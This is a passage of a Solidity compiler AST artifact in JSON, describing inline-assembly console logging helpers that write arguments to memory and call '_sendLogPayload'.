:"293701:23:22","nodeType":"YulFunctionCall","src":"293701:23:22"},"nativeSrc":"293698:36:22","nodeType":"YulIf","src":"293698:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"293653:6:22","nodeType":"YulIdentifier","src":"293653:6:22"},{"kind":"number","nativeSrc":"293661:4:22","nodeType":"YulLiteral","src":"293661:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"293650:2:22","nodeType":"YulIdentifier","src":"293650:2:22"},"nativeSrc":"293650:16:22","nodeType":"YulFunctionCall","src":"293650:16:22"},"nativeSrc":"293643:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"293667:28:22","nodeType":"YulBlock","src":"293667:28:22","statements":[{"nativeSrc":"293669:24:22","nodeType":"YulAssignment","src":"293669:24:22","value":{"arguments":[{"name":"length","nativeSrc":"293683:6:22","nodeType":"YulIdentifier","src":"293683:6:22"},{"kind":"number","nativeSrc":"293691:1:22","nodeType":"YulLiteral","src":"293691:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"293679:3:22","nodeType":"YulIdentifier","src":"293679:3:22"},"nativeSrc":"293679:14:22","nodeType":"YulFunctionCall","src":"293679:14:22"},"variableNames":[{"name":"length","nativeSrc":"293669:6:22","nodeType":"YulIdentifier","src":"293669:6:22"}]}]},"pre":{"nativeSrc":"293647:2:22","nodeType":"YulBlock","src":"293647:2:22","statements":[]},"src":"293643:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"293760:3:22","nodeType":"YulIdentifier","src":"293760:3:22"},{"name":"length","nativeSrc":"293765:6:22","nodeType":"YulIdentifier","src":"293765:6:22"}],"functionName":{"name":"mstore","nativeSrc":"293753:6:22","nodeType":"YulIdentifier","src":"293753:6:22"},"nativeSrc":"293753:19:22","nodeType":"YulFunctionCall","src":"293753:19:22"},"nativeSrc":"293753:19:22","nodeType":"YulExpressionStatement","src":"293753:19:22"},{"nativeSrc":"293789:37:22","nodeType":"YulVariableDeclaration","src":"293789:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"293806:3:22","nodeType":"YulLiteral","src":"293806:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"293815:1:22","nodeType":"YulLiteral","src":"293815:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"293818:6:22","nodeType":"YulIdentifier","src":"293818:6:22"}],"functionName":{"name":"shl","nativeSrc":"293811:3:22","nodeType":"YulIdentifier","src":"293811:3:22"},"nativeSrc":"293811:14:22","nodeType":"YulFunctionCall","src":"293811:14:22"}],"functionName":{"name":"sub","nativeSrc":"293802:3:22","nodeType":"YulIdentifier","src":"293802:3:22"},"nativeSrc":"293802:24:22","nodeType":"YulFunctionCall","src":"293802:24:22"},"variables":[{"name":"shift","nativeSrc":"293793:5:22","nodeType":"YulTypedName","src":"293793:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"293854:3:22","nodeType":"YulIdentifier","src":"293854:3:22"},{"kind":"number","nativeSrc":"293859:4:22","nodeType":"YulLiteral","src":"293859:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"293850:3:22","nodeType":"YulIdentifier","src":"293850:3:22"},"nativeSrc":"293850:14:22","nodeType":"YulFunctionCall","src":"293850:14:22"},{"arguments":[{"name":"shift","nativeSrc":"293870:5:22","nodeType":"YulIdentifier","src":"293870:5:22"},{"arguments":[{"name":"shift","nativeSrc":"293881:5:22","nodeType":"YulIdentifier","src":"293881:5:22"},{"name":"w","nativeSrc":"293888:1:22","nodeType":"YulIdentifier","src":"293888:1:22"}],"functionName":{"name":"shr","nativeSrc":"293877:3:22","nodeType":"YulIdentifier","src":"293877:3:22"},"nativeSrc":"293877:13:22","nodeType":"YulFunctionCall","src":"293877:13:22"}],"functionName":{"name":"shl","nativeSrc":"293866:3:22","nodeType":"YulIdentifier","src":"293866:3:22"},"nativeSrc":"293866:25:22","nodeType":"YulFunctionCall","src":"293866:25:22"}],"functionName":{"name":"mstore","nativeSrc":"293843:6:22","nodeType":"YulIdentifier","src":"293843:6:22"},"nativeSrc":"293843:49:22","nodeType":"YulFunctionCall","src":"293843:49:22"},"nativeSrc":"293843:49:22","nodeType":"YulExpressionStatement","src":"293843:49:22"}]},"name":"writeString","nativeSrc":"293564:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"293585:3:22","nodeType":"YulTypedName","src":"293585:3:22","type":""},{"name":"w","nativeSrc":"293590:1:22","nodeType":"YulTypedName","src":"293590:1:22","type":""}],"src":"293564:342:22"},{"nativeSrc":"293919:17:22","nodeType":"YulAssignment","src":"293919:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"293931:4:22","nodeType":"YulLiteral","src":"293931:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"293925:5:22","nodeType":"YulIdentifier","src":"293925:5:22"},"nativeSrc":"293925:11:22","nodeType":"YulFunctionCall","src":"293925:11:22"},"variableNames":[{"name":"m0","nativeSrc":"293919:2:22","nodeType":"YulIdentifier","src":"293919:2:22"}]},{"nativeSrc":"293949:17:22","nodeType":"YulAssignment","src":"293949:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"293961:4:22","nodeType":"YulLiteral","src":"293961:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"293955:5:22","nodeType":"YulIdentifier","src":"293955:5:22"},"nativeSrc":"293955:11:22","nodeType":"YulFunctionCall","src":"293955:11:22"},"variableNames":[{"name":"m1","nativeSrc":"293949:2:22","nodeType":"YulIdentifier","src":"293949:2:22"}]},{"nativeSrc":"293979:17:22","nodeType":"YulAssignment","src":"293979:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"293991:4:22","nodeType":"YulLiteral","src":"293991:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"293985:5:22","nodeType":"YulIdentifier","src":"293985:5:22"},"nativeSrc":"293985:11:22","nodeType":"YulFunctionCall","src":"293985:11:22"},"variableNames":[{"name":"m2","nativeSrc":"293979:2:22","nodeType":"YulIdentifier","src":"293979:2:22"}]},{"nativeSrc":"294009:17:22","nodeType":"YulAssignment","src":"294009:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"294021:4:22","nodeType":"YulLiteral","src":"294021:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"294015:5:22","nodeType":"YulIdentifier","src":"294015:5:22"},"nativeSrc":"294015:11:22","nodeType":"YulFunctionCall","src":"294015:11:22"},"variableNames":[{"name":"m3","nativeSrc":"294009:2:22","nodeType":"YulIdentifier","src":"294009:2:22"}]},{"nativeSrc":"294039:17:22","nodeType":"YulAssignment","src":"294039:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"294051:4:22","nodeType":"YulLiteral","src":"294051:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"294045:5:22","nodeType":"YulIdentifier","src":"294045:5:22"},"nativeSrc":"294045:11:22","nodeType":"YulFunctionCall","src":"294045:11:22"},"variableNames":[{"name":"m4","nativeSrc":"294039:2:22","nodeType":"YulIdentifier","src":"294039:2:22"}]},{"nativeSrc":"294069:17:22","nodeType":"YulAssignment","src":"294069:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"294081:4:22","nodeType":"YulLiteral","src":"294081:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"294075:5:22","nodeType":"YulIdentifier","src":"294075:5:22"},"nativeSrc":"294075:11:22","nodeType":"YulFunctionCall","src":"294075:11:22"},"variableNames":[{"name":"m5","nativeSrc":"294069:2:22","nodeType":"YulIdentifier","src":"294069:2:22"}]},{"nativeSrc":"294099:17:22","nodeType":"YulAssignment","src":"294099:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"294111:4:22","nodeType":"YulLiteral","src":"294111:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"294105:5:22","nodeType":"YulIdentifier","src":"294105:5:22"},"nativeSrc":"294105:11:22","nodeType":"YulFunctionCall","src":"294105:11:22"},"variableNames":[{"name":"m6","nativeSrc":"294099:2:22","nodeType":"YulIdentifier","src":"294099:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294202:4:22","nodeType":"YulLiteral","src":"294202:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"294208:10:22","nodeType":"YulLiteral","src":"294208:10:22","type":"","value":"0x82c25b74"}],"functionName":{"name":"mstore","nativeSrc":"294195:6:22","nodeType":"YulIdentifier","src":"294195:6:22"},"nativeSrc":"294195:24:22","nodeType":"YulFunctionCall","src":"294195:24:22"},"nativeSrc":"294195:24:22","nodeType":"YulExpressionStatement","src":"294195:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294239:4:22","nodeType":"YulLiteral","src":"294239:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"294245:2:22","nodeType":"YulIdentifier","src":"294245:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294232:6:22","nodeType":"YulIdentifier","src":"294232:6:22"},"nativeSrc":"294232:16:22","nodeType":"YulFunctionCall","src":"294232:16:22"},"nativeSrc":"294232:16:22","nodeType":"YulExpressionStatement","src":"294232:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294268:4:22","nodeType":"YulLiteral","src":"294268:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"294274:4:22","nodeType":"YulLiteral","src":"294274:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"294261:6:22","nodeType":"YulIdentifier","src":"294261:6:22"},"nativeSrc":"294261:18:22","nodeType":"YulFunctionCall","src":"294261:18:22"},"nativeSrc":"294261:18:22","nodeType":"YulExpressionStatement","src":"294261:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294299:4:22","nodeType":"YulLiteral","src":"294299:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"294305:2:22","nodeType":"YulIdentifier","src":"294305:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294292:6:22","nodeType":"YulIdentifier","src":"294292:6:22"},"nativeSrc":"294292:16:22","nodeType":"YulFunctionCall","src":"294292:16:22"},"nativeSrc":"294292:16:22","nodeType":"YulExpressionStatement","src":"294292:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294328:4:22","nodeType":"YulLiteral","src":"294328:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"294334:2:22","nodeType":"YulIdentifier","src":"294334:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294321:6:22","nodeType":"YulIdentifier","src":"294321:6:22"},"nativeSrc":"294321:16:22","nodeType":"YulFunctionCall","src":"294321:16:22"},"nativeSrc":"294321:16:22","nodeType":"YulExpressionStatement","src":"294321:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294362:4:22","nodeType":"YulLiteral","src":"294362:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"294368:2:22","nodeType":"YulIdentifier","src":"294368:2:22"}],"functionName":{"name":"writeString","nativeSrc":"294350:11:22","nodeType":"YulIdentifier","src":"294350:11:22"},"nativeSrc":"294350:21:22","nodeType":"YulFunctionCall","src":"294350:21:22"},"nativeSrc":"294350:21:22","nodeType":"YulExpressionStatement","src":"294350:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43474,"isOffset":false,"isSlot":false,"src":"293919:2:22","valueSize":1},{"declaration":43477,"isOffset":false,"isSlot":false,"src":"293949:2:22","valueSize":1},{"declaration":43480,"isOffset":false,"isSlot":false,"src":"293979:2:22","valueSize":1},{"declaration":43483,"isOffset":false,"isSlot":false,"src":"294009:2:22","valueSize":1},{"declaration":43486,"isOffset":false,"isSlot":false,"src":"294039:2:22","valueSize":1},{"declaration":43489,"isOffset":false,"isSlot":false,"src":"294069:2:22","valueSize":1},{"declaration":43492,"isOffset":false,"isSlot":false,"src":"294099:2:22","valueSize":1},{"declaration":43464,"isOffset":false,"isSlot":false,"src":"294245:2:22","valueSize":1},{"declaration":43466,"isOffset":false,"isSlot":false,"src":"294368:2:22","valueSize":1},{"declaration":43468,"isOffset":false,"isSlot":false,"src":"294305:2:22","valueSize":1},{"declaration":43470,"isOffset":false,"isSlot":false,"src":"294334:2:22","valueSize":1}],"id":43494,"nodeType":"InlineAssembly","src":"293541:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43496,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"294406:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43497,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"294412:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43495,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"294390:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43498,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"294390:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43499,"nodeType":"ExpressionStatement","src":"294390:27:22"},{"AST":{"nativeSrc":"294436:214:22","nodeType":"YulBlock","src":"294436:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"294457:4:22","nodeType":"YulLiteral","src":"294457:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"294463:2:22","nodeType":"YulIdentifier","src":"294463:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294450:6:22","nodeType":"YulIdentifier","src":"294450:6:22"},"nativeSrc":"294450:16:22","nodeType":"YulFunctionCall","src":"294450:16:22"},"nativeSrc":"294450:16:22","nodeType":"YulExpressionStatement","src":"294450:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294486:4:22","nodeType":"YulLiteral","src":"294486:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"294492:2:22","nodeType":"YulIdentifier","src":"294492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294479:6:22","nodeType":"YulIdentifier","src":"294479:6:22"},"nativeSrc":"294479:16:22","nodeType":"YulFunctionCall","src":"294479:16:22"},"nativeSrc":"294479:16:22","nodeType":"YulExpressionStatement","src":"294479:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294515:4:22","nodeType":"YulLiteral","src":"294515:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"294521:2:22","nodeType":"YulIdentifier","src":"294521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294508:6:22","nodeType":"YulIdentifier","src":"294508:6:22"},"nativeSrc":"294508:16:22","nodeType":"YulFunctionCall","src":"294508:16:22"},"nativeSrc":"294508:16:22","nodeType":"YulExpressionStatement","src":"294508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294544:4:22","nodeType":"YulLiteral","src":"294544:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"294550:2:22","nodeType":"YulIdentifier","src":"294550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294537:6:22","nodeType":"YulIdentifier","src":"294537:6:22"},"nativeSrc":"294537:16:22","nodeType":"YulFunctionCall","src":"294537:16:22"},"nativeSrc":"294537:16:22","nodeType":"YulExpressionStatement","src":"294537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294573:4:22","nodeType":"YulLiteral","src":"294573:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"294579:2:22","nodeType":"YulIdentifier","src":"294579:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294566:6:22","nodeType":"YulIdentifier","src":"294566:6:22"},"nativeSrc":"294566:16:22","nodeType":"YulFunctionCall","src":"294566:16:22"},"nativeSrc":"294566:16:22","nodeType":"YulExpressionStatement","src":"294566:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294602:4:22","nodeType":"YulLiteral","src":"294602:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"294608:2:22","nodeType":"YulIdentifier","src":"294608:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294595:6:22","nodeType":"YulIdentifier","src":"294595:6:22"},"nativeSrc":"294595:16:22","nodeType":"YulFunctionCall","src":"294595:16:22"},"nativeSrc":"294595:16:22","nodeType":"YulExpressionStatement","src":"294595:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"294631:4:22","nodeType":"YulLiteral","src":"294631:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"294637:2:22","nodeType":"YulIdentifier","src":"294637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"294624:6:22","nodeType":"YulIdentifier","src":"294624:6:22"},"nativeSrc":"294624:16:22","nodeType":"YulFunctionCall","src":"294624:16:22"},"nativeSrc":"294624:16:22","nodeType":"YulExpressionStatement","src":"294624:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43474,"isOffset":false,"isSlot":false,"src":"294463:2:22","valueSize":1},{"declaration":43477,"isOffset":false,"isSlot":false,"src":"294492:2:22","valueSize":1},{"declaration":43480,"isOffset":false,"isSlot":false,"src":"294521:2:22","valueSize":1},{"declaration":43483,"isOffset":false,"isSlot":false,"src":"294550:2:22","valueSize":1},{"declaration":43486,"isOffset":false,"isSlot":false,"src":"294579:2:22","valueSize":1},{"declaration":43489,"isOffset":false,"isSlot":false,"src":"294608:2:22","valueSize":1},{"declaration":43492,"isOffset":false,"isSlot":false,"src":"294637:2:22","valueSize":1}],"id":43500,"nodeType":"InlineAssembly","src":"294427:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"293325:3:22","parameters":{"id":43471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43464,"mutability":"mutable","name":"p0","nameLocation":"293337:2:22","nodeType":"VariableDeclaration","scope":43502,"src":"293329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43463,"name":"uint256","nodeType":"ElementaryTypeName","src":"293329:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43466,"mutability":"mutable","name":"p1","nameLocation":"293349:2:22","nodeType":"VariableDeclaration","scope":43502,"src":"293341:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43465,"name":"bytes32","nodeType":"ElementaryTypeName","src":"293341:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43468,"mutability":"mutable","name":"p2","nameLocation":"293361:2:22","nodeType":"VariableDeclaration","scope":43502,"src":"293353:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43467,"name":"uint256","nodeType":"ElementaryTypeName","src":"293353:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43470,"mutability":"mutable","name":"p3","nameLocation":"293373:2:22","nodeType":"VariableDeclaration","scope":43502,"src":"293365:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43469,"name":"uint256","nodeType":"ElementaryTypeName","src":"293365:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"293328:48:22"},"returnParameters":{"id":43472,"nodeType":"ParameterList","parameters":[],"src":"293391:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43548,"nodeType":"FunctionDefinition","src":"294662:1536:22","nodes":[],"body":{"id":43547,"nodeType":"Block","src":"294737:1461:22","nodes":[],"statements":[{"assignments":[43514],"declarations":[{"constant":false,"id":43514,"mutability":"mutable","name":"m0","nameLocation":"294755:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294747:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43513,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294747:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43515,"nodeType":"VariableDeclarationStatement","src":"294747:10:22"},{"assignments":[43517],"declarations":[{"constant":false,"id":43517,"mutability":"mutable","name":"m1","nameLocation":"294775:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294767:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43516,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294767:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43518,"nodeType":"VariableDeclarationStatement","src":"294767:10:22"},{"assignments":[43520],"declarations":[{"constant":false,"id":43520,"mutability":"mutable","name":"m2","nameLocation":"294795:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294787:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43519,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294787:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43521,"nodeType":"VariableDeclarationStatement","src":"294787:10:22"},{"assignments":[43523],"declarations":[{"constant":false,"id":43523,"mutability":"mutable","name":"m3","nameLocation":"294815:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294807:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43522,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294807:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43524,"nodeType":"VariableDeclarationStatement","src":"294807:10:22"},{"assignments":[43526],"declarations":[{"constant":false,"id":43526,"mutability":"mutable","name":"m4","nameLocation":"294835:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294827:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43525,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294827:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43527,"nodeType":"VariableDeclarationStatement","src":"294827:10:22"},{"assignments":[43529],"declarations":[{"constant":false,"id":43529,"mutability":"mutable","name":"m5","nameLocation":"294855:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294847:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43528,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294847:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43530,"nodeType":"VariableDeclarationStatement","src":"294847:10:22"},{"assignments":[43532],"declarations":[{"constant":false,"id":43532,"mutability":"mutable","name":"m6","nameLocation":"294875:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294867:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43531,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294867:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43533,"nodeType":"VariableDeclarationStatement","src":"294867:10:22"},{"assignments":[43535],"declarations":[{"constant":false,"id":43535,"mutability":"mutable","name":"m7","nameLocation":"294895:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294887:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43534,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294887:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43536,"nodeType":"VariableDeclarationStatement","src":"294887:10:22"},{"assignments":[43538],"declarations":[{"constant":false,"id":43538,"mutability":"mutable","name":"m8","nameLocation":"294915:2:22","nodeType":"VariableDeclaration","scope":43547,"src":"294907:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"294907:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43539,"nodeType":"VariableDeclarationStatement","src":"294907:10:22"},{"AST":{"nativeSrc":"294936:927:22","nodeType":"YulBlock","src":"294936:927:22","statements":[{"body":{"nativeSrc":"294979:313:22","nodeType":"YulBlock","src":"294979:313:22","statements":[{"nativeSrc":"294997:15:22","nodeType":"YulVariableDeclaration","src":"294997:15:22","value":{"kind":"number","nativeSrc":"295011:1:22","nodeType":"YulLiteral","src":"295011:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"295001:6:22","nodeType":"YulTypedName","src":"295001:6:22","type":""}]},{"body":{"nativeSrc":"295082:40:22","nodeType":"YulBlock","src":"295082:40:22","statements":[{"body":{"nativeSrc":"295111:9:22","nodeType":"YulBlock","src":"295111:9:22","statements":[{"nativeSrc":"295113:5:22","nodeType":"YulBreak","src":"295113:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"295099:6:22","nodeType":"YulIdentifier","src":"295099:6:22"},{"name":"w","nativeSrc":"295107:1:22","nodeType":"YulIdentifier","src":"295107:1:22"}],"functionName":{"name":"byte","nativeSrc":"295094:4:22","nodeType":"YulIdentifier","src":"295094:4:22"},"nativeSrc":"295094:15:22","nodeType":"YulFunctionCall","src":"295094:15:22"}],"functionName":{"name":"iszero","nativeSrc":"295087:6:22","nodeType":"YulIdentifier","src":"295087:6:22"},"nativeSrc":"295087:23:22","nodeType":"YulFunctionCall","src":"295087:23:22"},"nativeSrc":"295084:36:22","nodeType":"YulIf","src":"295084:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"295039:6:22","nodeType":"YulIdentifier","src":"295039:6:22"},{"kind":"number","nativeSrc":"295047:4:22","nodeType":"YulLiteral","src":"295047:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"295036:2:22","nodeType":"YulIdentifier","src":"295036:2:22"},"nativeSrc":"295036:16:22","nodeType":"YulFunctionCall","src":"295036:16:22"},"nativeSrc":"295029:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"295053:28:22","nodeType":"YulBlock","src":"295053:28:22","statements":[{"nativeSrc":"295055:24:22","nodeType":"YulAssignment","src":"295055:24:22","value":{"arguments":[{"name":"length","nativeSrc":"295069:6:22","nodeType":"YulIdentifier","src":"295069:6:22"},{"kind":"number","nativeSrc":"295077:1:22","nodeType":"YulLiteral","src":"295077:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"295065:3:22","nodeType":"YulIdentifier","src":"295065:3:22"},"nativeSrc":"295065:14:22","nodeType":"YulFunctionCall","src":"295065:14:22"},"variableNames":[{"name":"length","nativeSrc":"295055:6:22","nodeType":"YulIdentifier","src":"295055:6:22"}]}]},"pre":{"nativeSrc":"295033:2:22","nodeType":"YulBlock","src":"295033:2:22","statements":[]},"src":"295029:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"295146:3:22","nodeType":"YulIdentifier","src":"295146:3:22"},{"name":"length","nativeSrc":"295151:6:22","nodeType":"YulIdentifier","src":"295151:6:22"}],"functionName":{"name":"mstore","nativeSrc":"295139:6:22","nodeType":"YulIdentifier","src":"295139:6:22"},"nativeSrc":"295139:19:22","nodeType":"YulFunctionCall","src":"295139:19:22"},"nativeSrc":"295139:19:22","nodeType":"YulExpressionStatement","src":"295139:19:22"},{"nativeSrc":"295175:37:22","nodeType":"YulVariableDeclaration","src":"295175:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"295192:3:22","nodeType":"YulLiteral","src":"295192:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"295201:1:22","nodeType":"YulLiteral","src":"295201:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"295204:6:22","nodeType":"YulIdentifier","src":"295204:6:22"}],"functionName":{"name":"shl","nativeSrc":"295197:3:22","nodeType":"YulIdentifier","src":"295197:3:22"},"nativeSrc":"295197:14:22","nodeType":"YulFunctionCall","src":"295197:14:22"}],"functionName":{"name":"sub","nativeSrc":"295188:3:22","nodeType":"YulIdentifier","src":"295188:3:22"},"nativeSrc":"295188:24:22","nodeType":"YulFunctionCall","src":"295188:24:22"},"variables":[{"name":"shift","nativeSrc":"295179:5:22","nodeType":"YulTypedName","src":"295179:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"295240:3:22","nodeType":"YulIdentifier","src":"295240:3:22"},{"kind":"number","nativeSrc":"295245:4:22","nodeType":"YulLiteral","src":"295245:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"295236:3:22","nodeType":"YulIde